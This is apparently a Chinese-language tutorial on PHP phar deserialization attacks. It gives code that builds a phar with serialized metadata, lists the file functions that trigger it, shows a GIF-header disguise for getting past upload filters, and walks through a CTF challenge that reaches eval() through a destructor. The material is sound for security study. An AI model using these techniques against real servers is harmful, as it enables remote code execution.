前言:看了酒馆师傅的那篇phar反序列化的利用之后,自己就来学习下phar反序列化!
在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作!
不依赖不是说没有,只是相关文件的系统函数底层实现的时候会进行unserialize的操作
phar文件结构:
- A stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件
2.A manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是phar反序列化攻击手法最核心的地方
3.The file contents
被压缩文件的内容。
4.[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,格式如下:
初步了解:
注意:要将php.ini中的 **phar.readonly ** 选项设置为Off,否则无法生成phar文件。
然后用php内置的phar类来构建一个文件
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
hex编码工具打开查看,可以看到 meta-data 序列化的内容成功的保存到了文件中
在一些 文件函数 通过 phar:// 伪协议解析phar文件时都会将meta-data反序列化
受影响的函数有
fileatime filectime filemtime file_exists file_get_contents file_put_contents
file filegroup fopen fileinode fileowner fileperms
is_dir is_file is_link is_executable is_readable is_writeable
is_wirtble parse_ini_file copy unlink stat readfile info_file
已经序列化的内容已经保存在了phar.phar中,我们用受影响的函数进行试验,去触发反序列化
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt'; //test.txt是保存在phar包中的文件条目
file_exists($filename); //受影响的file_exists函数
?>
结果内容如下:
可以看到先触发了反序列化 输出了test内容,然后还会执行当前TestObject类中的析构函数,如果当前没有写TestObject类的话,单纯执行反序列化只会输出test内容!
当文件系统函数的参数可控时,我们可以在 不调用unserialize()的情况下 进行 反序列化操作 ,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面 !
再继续看php底层是怎么帮我们处理的?
处理代码如下:
int phar_parse_metadata(char **buffer, zval *metadata, uint32_t zip_metadata_len){
php_unserialize_data_t var_hash;
if (zip_metadata_len) {
const unsigned char *p;
unsigned char *p_buff = (unsigned char *)estrndup(*buffer, zip_metadata_len);
p = p_buff;
ZVAL_NULL(metadata);
PHP_VAR_UNSERIALIZE_INIT(var_hash);
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) { //这里是最重要的,如果metadata存在的话 就会帮我们进行反序列化的操作,if语句后面就是对前面生成的数据的内存清除
efree(p_buff);
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
zval_ptr_dtor(metadata);
ZVAL_UNDEF(metadata);
return FAILURE;
}
efree(p_buff);
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
}
}
unserialize 的定义为:若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)
所以先前定义的 TestObject 类,当有数据被反序列化了之后就会被重新构造为TestObject类的对象,并且还会有属于自己的属性!
phar包的伪装:
phar文件还可以伪装后缀名,首先要知道的phar文件唯一的标识符__HALT_COMPILER();?>
,只要不影响标识符,那么我们就可以通过 添加任意的文件头 + 修改后缀名的方式 将phar文件伪装成其他格式的文件
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
生成的文件为如下:
采用这种方法可以绕过很大一部分上传检测。
phar反序列化实际应用:
- phar文件要能够上传到服务器端
- 要有可用的魔术方法作为"跳板"
- 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
拿一道ctf的题目来进行学习:
第一题:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
class MyClass{
var $Output = 'echo "hahaha"';
function __destruct()
{
// TODO: Implement __destruct() method.
eval($this->Output);
}
}
file_exists($filename);
}else{
highlight_file(__FILE__);
}
我们可以通过上面生成phar包,其中meta-data
部分是 存储了MyClass实例化的对象值,然后通过$_GET['filename']
,进行 file_exists 从而触发反序列化来覆盖 $Output 变量,最后导致eval($this->Output);
命令执行!
参考文章:https://paper.seebug.org/680/
参考文章:https://mochazz.github.io/2019/02/02/PHP反序列化入门之phar/#phar介绍